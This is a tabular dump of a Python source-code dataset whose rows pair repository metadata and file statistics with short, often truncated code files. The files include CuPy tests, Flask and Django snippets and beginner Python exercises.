] | 4 | 2020-02-12T21:30:44.000Z | 2020-04-15T20:06:46.000Z | output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_length_1_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | null | null | null | from output.models.nist_data.list_pkg.non_positive_integer.schema_instance.nistschema_sv_iv_list_non_positive_integer_length_1_xsd.nistschema_sv_iv_list_non_positive_integer_length_1 import NistschemaSvIvListNonPositiveIntegerLength1
__all__ = [
"NistschemaSvIvListNonPositiveIntegerLength1",
]
| 50 | 233 | 0.91 | 35 | 300 | 7.057143 | 0.6 | 0.133603 | 0.218623 | 0.145749 | 0.348178 | 0.348178 | 0.348178 | 0.348178 | 0.348178 | 0 | 0 | 0.013986 | 0.046667 | 300 | 5 | 234 | 60 | 0.84965 | 0 | 0 | 0 | 0 | 0 | 0.143333 | 0.143333 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fb1aa25d697063ac5234b37a20af2edde89cf7c2 | 825 | py | Python | 2 - python intermediario/63 - iteraveis/64 - comportamento iteradores e geradores.py | AdrianaViabL/Curso-Python-udemy | a4f230354985d0f6026a1e7b4913a8f64e205654 | [
"Apache-2.0"
] | null | null | null | 2 - python intermediario/63 - iteraveis/64 - comportamento iteradores e geradores.py | AdrianaViabL/Curso-Python-udemy | a4f230354985d0f6026a1e7b4913a8f64e205654 | [
"Apache-2.0"
] | null | null | null | 2 - python intermediario/63 - iteraveis/64 - comportamento iteradores e geradores.py | AdrianaViabL/Curso-Python-udemy | a4f230354985d0f6026a1e7b4913a8f64e205654 | [
"Apache-2.0"
] | null | null | null | #lists, tuplas, strings -> sequencias -> iteraveis
nome = 'nome qualquer'
print('comportamento esperado de um valor iteravel')
print('o valor vai sempre estar la para ser exibido novamente')
for l in nome:
print(l)
print(nome)
print(10 * '=====')
iterador = iter(nome)
try: # quando mostrado x valor de um itera... | 21.153846 | 86 | 0.676364 | 119 | 825 | 4.689076 | 0.436975 | 0.16129 | 0.15233 | 0.188172 | 0.15233 | 0.15233 | 0.15233 | 0.15233 | 0.15233 | 0.15233 | 0 | 0.005926 | 0.181818 | 825 | 38 | 87 | 21.710526 | 0.820741 | 0.164848 | 0 | 0.413793 | 0 | 0 | 0.243045 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.034483 | 0 | 0 | 0 | 0.689655 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
fb32689f50782a5ff37cf378f6a450894a0dc23f | 22,922 | py | Python | tests/cupy_tests/test_cublas.py | Onkar627/cupy | 8eef1ad5393c0a92c5065bc05137bf997f37044a | [
"MIT"
] | 1 | 2022-01-12T22:57:54.000Z | 2022-01-12T22:57:54.000Z | tests/cupy_tests/test_cublas.py | Onkar627/cupy | 8eef1ad5393c0a92c5065bc05137bf997f37044a | [
"MIT"
] | null | null | null | tests/cupy_tests/test_cublas.py | Onkar627/cupy | 8eef1ad5393c0a92c5065bc05137bf997f37044a | [
"MIT"
] | 1 | 2022-03-21T20:19:12.000Z | 2022-03-21T20:19:12.000Z | import numpy
import pytest
import cupy
from cupy import cublas
from cupy import testing
from cupy.testing import _attr
@testing.parameterize(*testing.product({
'dtype': ['float32', 'float64', 'complex64', 'complex128'],
'n': [10, 33, 100],
'bs': [None, 1, 10],
'nrhs': [None, 1, 10],
}))
@_attr.gpu
cl... | 35.871674 | 79 | 0.547596 | 3,308 | 22,922 | 3.683797 | 0.069226 | 0.031594 | 0.041851 | 0.057443 | 0.784753 | 0.757344 | 0.715411 | 0.666749 | 0.622107 | 0.594042 | 0 | 0.01925 | 0.299712 | 22,922 | 638 | 80 | 35.9279 | 0.739908 | 0.00445 | 0 | 0.576655 | 0 | 0 | 0.02301 | 0.001008 | 0 | 0 | 0 | 0 | 0.055749 | 1 | 0.076655 | false | 0 | 0.010453 | 0.003484 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fb3c3876b330f5a1310fa02ca86fedafa73ed588 | 273 | py | Python | catalog/bindings/csw/brief_record.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | catalog/bindings/csw/brief_record.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | catalog/bindings/csw/brief_record.py | NIVANorge/s-enda-playground | 56ae0a8978f0ba8a5546330786c882c31e17757a | [
"Apache-2.0"
] | null | null | null | from dataclasses import dataclass
from bindings.csw.brief_record_type import BriefRecordType
__NAMESPACE__ = "http://www.opengis.net/cat/csw/2.0.2"
@dataclass
class BriefRecord(BriefRecordType):
class Meta:
namespace = "http://www.opengis.net/cat/csw/2.0.2"
| 24.818182 | 58 | 0.754579 | 38 | 273 | 5.263158 | 0.552632 | 0.13 | 0.16 | 0.23 | 0.35 | 0.35 | 0.35 | 0.35 | 0.35 | 0.35 | 0 | 0.025105 | 0.124542 | 273 | 10 | 59 | 27.3 | 0.811715 | 0 | 0 | 0 | 0 | 0 | 0.263736 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
348d2d60fb5385e97d0dc27346784f7b73fdadac | 331 | py | Python | example/demo/book/views.py | iwwxiong/flask_restapi | 57fca3bf07d913b31b6b7ef877328b0e07056c39 | [
"MIT"
] | 6 | 2019-04-23T02:18:55.000Z | 2019-12-10T13:16:21.000Z | example/demo/book/views.py | dracarysX/flask_scaffold | 57fca3bf07d913b31b6b7ef877328b0e07056c39 | [
"MIT"
] | null | null | null | example/demo/book/views.py | dracarysX/flask_scaffold | 57fca3bf07d913b31b6b7ef877328b0e07056c39 | [
"MIT"
] | 3 | 2019-05-22T06:00:17.000Z | 2020-01-14T17:02:35.000Z | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# flask_restapi import
from flask_restapi.views import APIMethodView
from .models import Book
from .forms import BookForm
class BookView(APIMethodView):
model = Book
paginate_by = 10
context_object_name = 'items'
pk_url_kwarg = 'book_id'
form_class ... | 19.470588 | 45 | 0.716012 | 44 | 331 | 5.181818 | 0.727273 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011236 | 0.193353 | 331 | 16 | 46 | 20.6875 | 0.842697 | 0.193353 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
3492885ac8a900a114a775185286f143d7123ed9 | 236 | py | Python | data/python/pattern_12/code.py | MKAbuMattar/grammind-api | ccf6e9898f50f9e4c7671abecf65029198e2dc72 | [
"MIT"
] | 3 | 2021-12-29T13:03:27.000Z | 2021-12-31T20:27:17.000Z | data/python/pattern_12/code.py | MKAbuMattar/grammind-api | ccf6e9898f50f9e4c7671abecf65029198e2dc72 | [
"MIT"
] | 2 | 2022-01-15T13:08:13.000Z | 2022-01-18T19:41:07.000Z | data/python/pattern_12/code.py | MKAbuMattar/grammind-api | ccf6e9898f50f9e4c7671abecf65029198e2dc72 | [
"MIT"
] | null | null | null | #MAIN PROGRAM STARTS HERE:
num = int(input('Enter the number of rows and columns for the square: '))
for x in range(0, num):
i = x + 1
for y in range(0, num):
print ('{} '.format(i), end='')
i += num
print() | 26.222222 | 73 | 0.555085 | 39 | 236 | 3.358974 | 0.666667 | 0.10687 | 0.122137 | 0.167939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017857 | 0.288136 | 236 | 9 | 74 | 26.222222 | 0.761905 | 0.105932 | 0 | 0 | 0 | 0 | 0.265403 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.285714 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
349c048a588296bb67dea9d1d337e93b39772ac1 | 381 | py | Python | 03_Avanzado/09_CursoBasico_Python/codigo/funciones.py | LeoSan/CarreraFundamentosProgramacion_Platzi_2021 | 9db6ac33a755f855fbb9c41a9bd0e02712f37cb3 | [
"MIT"
] | null | null | null | 03_Avanzado/09_CursoBasico_Python/codigo/funciones.py | LeoSan/CarreraFundamentosProgramacion_Platzi_2021 | 9db6ac33a755f855fbb9c41a9bd0e02712f37cb3 | [
"MIT"
] | null | null | null | 03_Avanzado/09_CursoBasico_Python/codigo/funciones.py | LeoSan/CarreraFundamentosProgramacion_Platzi_2021 | 9db6ac33a755f855fbb9c41a9bd0e02712f37cb3 | [
"MIT"
] | null | null | null | #Programa ejemplo para usar función
#funcion sin parametros
def imprimir_mensaje():
print("Mensaje especial:")
print("Estoy aprendiendo:")
imprimir_mensaje()
#funcion con parametros
valorA= "Hola mundo"
valorB= "Función con parametros"
def imprimir_mensaje_param(mensaje1, mensaje2):
print(mensaje1)... | 20.052632 | 47 | 0.755906 | 44 | 381 | 6.409091 | 0.522727 | 0.212766 | 0.148936 | 0.198582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012384 | 0.152231 | 381 | 18 | 48 | 21.166667 | 0.860681 | 0.207349 | 0 | 0 | 0 | 0 | 0.22408 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0.4 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
34a22dd4ad9ab46d6938c8ba8be9e6f6b3432bf1 | 497 | py | Python | quickkart_api/auth.py | envaleed/quick-kart-api-deploy | 2b962dce3bc5ba19d4e90cb86822c016d51f65c2 | [
"MIT"
] | null | null | null | quickkart_api/auth.py | envaleed/quick-kart-api-deploy | 2b962dce3bc5ba19d4e90cb86822c016d51f65c2 | [
"MIT"
] | null | null | null | quickkart_api/auth.py | envaleed/quick-kart-api-deploy | 2b962dce3bc5ba19d4e90cb86822c016d51f65c2 | [
"MIT"
] | null | null | null | from quickkart_api import app
from quickkart_api.models import Users
from flask_jwt import JWT, jwt_required, current_identity
from flask import abort
def authenticate(username, password):
user = Users.query.filter_by(username=username).first()
if user and user.check_password(password):
return user
... | 33.133333 | 71 | 0.7666 | 67 | 497 | 5.58209 | 0.477612 | 0.069519 | 0.085562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007009 | 0.138833 | 497 | 15 | 72 | 33.133333 | 0.866822 | 0 | 0 | 0 | 0 | 0 | 0.058233 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.333333 | 0.083333 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
34a3c5979c5216c22bb261f3a724f1a3a6ea121a | 799 | py | Python | corehq/apps/smsforms/util.py | rochakchauhan/commcare-hq | aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236 | [
"BSD-3-Clause"
] | null | null | null | corehq/apps/smsforms/util.py | rochakchauhan/commcare-hq | aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236 | [
"BSD-3-Clause"
] | 1 | 2021-06-02T04:45:16.000Z | 2021-06-02T04:45:16.000Z | corehq/apps/smsforms/util.py | rochakchauhan/commcare-hq | aa7ab3c2d0c51fe10f2b51b08101bb4b5a376236 | [
"BSD-3-Clause"
] | null | null | null | from dimagi.utils.couch import CriticalSection
from corehq.apps.receiverwrapper.util import submit_form_locally
def form_requires_input(form):
"""
Returns True if the form has at least one question that requires input
"""
for question in form.get_questions([]):
if question["tag"] not in ("tri... | 30.730769 | 103 | 0.738423 | 107 | 799 | 5.308411 | 0.570093 | 0.035211 | 0.059859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004491 | 0.163955 | 799 | 25 | 104 | 31.96 | 0.845808 | 0.08761 | 0 | 0 | 0 | 0 | 0.081346 | 0.051893 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.142857 | 0.071429 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
34d35a78f92c8bdc372877964e8913cfb9da9911 | 197 | py | Python | Areatriangulo.py | ChristianSalas1234567/salas-yupanqui | 36fdbe3ebc51cd73f62870fcc8b646ad98133ae7 | [
"Apache-2.0"
] | 1 | 2021-04-22T12:34:37.000Z | 2021-04-22T12:34:37.000Z | Areatriangulo.py | ChristianSalas1234567/salas-yupanqui | 36fdbe3ebc51cd73f62870fcc8b646ad98133ae7 | [
"Apache-2.0"
] | null | null | null | Areatriangulo.py | ChristianSalas1234567/salas-yupanqui | 36fdbe3ebc51cd73f62870fcc8b646ad98133ae7 | [
"Apache-2.0"
] | null | null | null | #variables de entrada
print("area del triangulo")
#datos de entrada
B=int(input("ingrese base:"))
H=int(input("ingrese haltura:"))
#proceso
area=(B*H)/2
#datos de salida
print("el area es: ", area) | 21.888889 | 32 | 0.71066 | 33 | 197 | 4.242424 | 0.606061 | 0.128571 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005714 | 0.111675 | 197 | 9 | 33 | 21.888889 | 0.794286 | 0.294416 | 0 | 0 | 0 | 0 | 0.433824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
34e3c30f1eecc4a83cc074f6ae2e470a42d8d132 | 1,058 | py | Python | cride/users/models/exchanges.py | albertoaldanar/betmatcherAPI | c0590025efd79f4e489f9c9433b17554ea6ba23f | [
"MIT"
] | null | null | null | cride/users/models/exchanges.py | albertoaldanar/betmatcherAPI | c0590025efd79f4e489f9c9433b17554ea6ba23f | [
"MIT"
] | 7 | 2020-06-05T20:53:27.000Z | 2022-03-11T23:47:12.000Z | cride/users/models/exchanges.py | albertoaldanar/betmatcherAPI | c0590025efd79f4e489f9c9433b17554ea6ba23f | [
"MIT"
] | null | null | null | from django.db import models
#Utilities
from cride.utils.models import BetmatcherModel
class Exchange(BetmatcherModel):
user = models.ForeignKey(
"users.User",
on_delete = models.CASCADE,
related_name = "user"
)
prize = models.ForeignKey(
"users.Prize",
on_delete = models.CASCADE,
rela... | 28.594595 | 74 | 0.6862 | 138 | 1,058 | 5.123188 | 0.355072 | 0.169731 | 0.203678 | 0.27157 | 0.455446 | 0.455446 | 0.364922 | 0.364922 | 0.364922 | 0 | 0 | 0.018868 | 0.198488 | 1,058 | 36 | 75 | 29.388889 | 0.814858 | 0.008507 | 0 | 0.074074 | 0 | 0 | 0.054441 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037037 | false | 0 | 0.074074 | 0.037037 | 0.592593 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
34e7cf6e1775685d6271aef6702b1730ac2e95bc | 1,956 | py | Python | tests/unit/test_bad_cluster.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | null | null | null | tests/unit/test_bad_cluster.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | null | null | null | tests/unit/test_bad_cluster.py | ylipacbio/pbtranscript | 6b4ef164f191ffd4201feb62b951d9eeac3315b6 | [
"BSD-3-Clause"
] | 1 | 2021-02-26T10:08:09.000Z | 2021-02-26T10:08:09.000Z |
# XXX verification for bug 30828 - runs ice_pbdagcon on a spurious cluster
# and checks that it discards the resulting all-N consensus sequence
import subprocess
import tempfile
import unittest
import os.path as op
from pbcore.io import FastaReader
CLUSTER_FA = """\
>m54007_151222_230824/47383194/334_64_CCS
CATTGAA... | 44.454545 | 327 | 0.812883 | 152 | 1,956 | 10.210526 | 0.559211 | 0.028995 | 0.034794 | 0.043814 | 0.055412 | 0.055412 | 0 | 0 | 0 | 0 | 0 | 0.059965 | 0.130368 | 1,956 | 43 | 328 | 45.488372 | 0.85244 | 0.071063 | 0 | 0 | 0 | 0 | 0.557088 | 0.534473 | 0 | 0 | 0 | 0 | 0.064516 | 1 | 0.064516 | false | 0 | 0.16129 | 0 | 0.258065 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
34f18dca2b35de2acae03f31c1e789e6be8e839f | 756 | py | Python | mwthesaurus/model.py | PederHA/mwthesaurus | c58d9bdf82fce906c8a2c908b803b2a9db4bc0a2 | [
"MIT"
] | null | null | null | mwthesaurus/model.py | PederHA/mwthesaurus | c58d9bdf82fce906c8a2c908b803b2a9db4bc0a2 | [
"MIT"
] | null | null | null | mwthesaurus/model.py | PederHA/mwthesaurus | c58d9bdf82fce906c8a2c908b803b2a9db4bc0a2 | [
"MIT"
] | null | null | null | from dataclasses import dataclass, field
from typing import List
from itertools import chain
@dataclass
class Word:
word: str
wordtype: str
shortdef: List[str] = field(default_factory=list)
synonyms: List[str] = field(default_factory=list)
antonyms: List[str] = field(default_factory=list)
stem... | 30.24 | 67 | 0.640212 | 98 | 756 | 4.826531 | 0.357143 | 0.059197 | 0.10148 | 0.160677 | 0.363636 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218254 | 756 | 24 | 68 | 31.5 | 0.800338 | 0 | 0 | 0 | 0 | 0 | 0.054233 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
34f87e0983bc87b776a41bf8fa6bd6191f64154d | 437 | py | Python | exemplo_47_inspect.py | alef123vinicius/Estudo_python | 30b121d611f94eb5df9fbb41ef7279546143221b | [
"Apache-2.0"
] | null | null | null | exemplo_47_inspect.py | alef123vinicius/Estudo_python | 30b121d611f94eb5df9fbb41ef7279546143221b | [
"Apache-2.0"
] | null | null | null | exemplo_47_inspect.py | alef123vinicius/Estudo_python | 30b121d611f94eb5df9fbb41ef7279546143221b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 16 15:35:53 2021
@author: alef
"""
import os.path
# modulo de instropecção amigável
import inspect
print('Objeto: ', inspect.getmodule(os.path))
print('Classe?', inspect.isclass(str))
# Lista todas as funções que existem em os.path
print('Memb... | 17.48 | 48 | 0.681922 | 63 | 437 | 4.730159 | 0.746032 | 0.080537 | 0.073826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038674 | 0.171625 | 437 | 25 | 49 | 17.48 | 0.78453 | 0.393593 | 0 | 0 | 0 | 0 | 0.094118 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.25 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.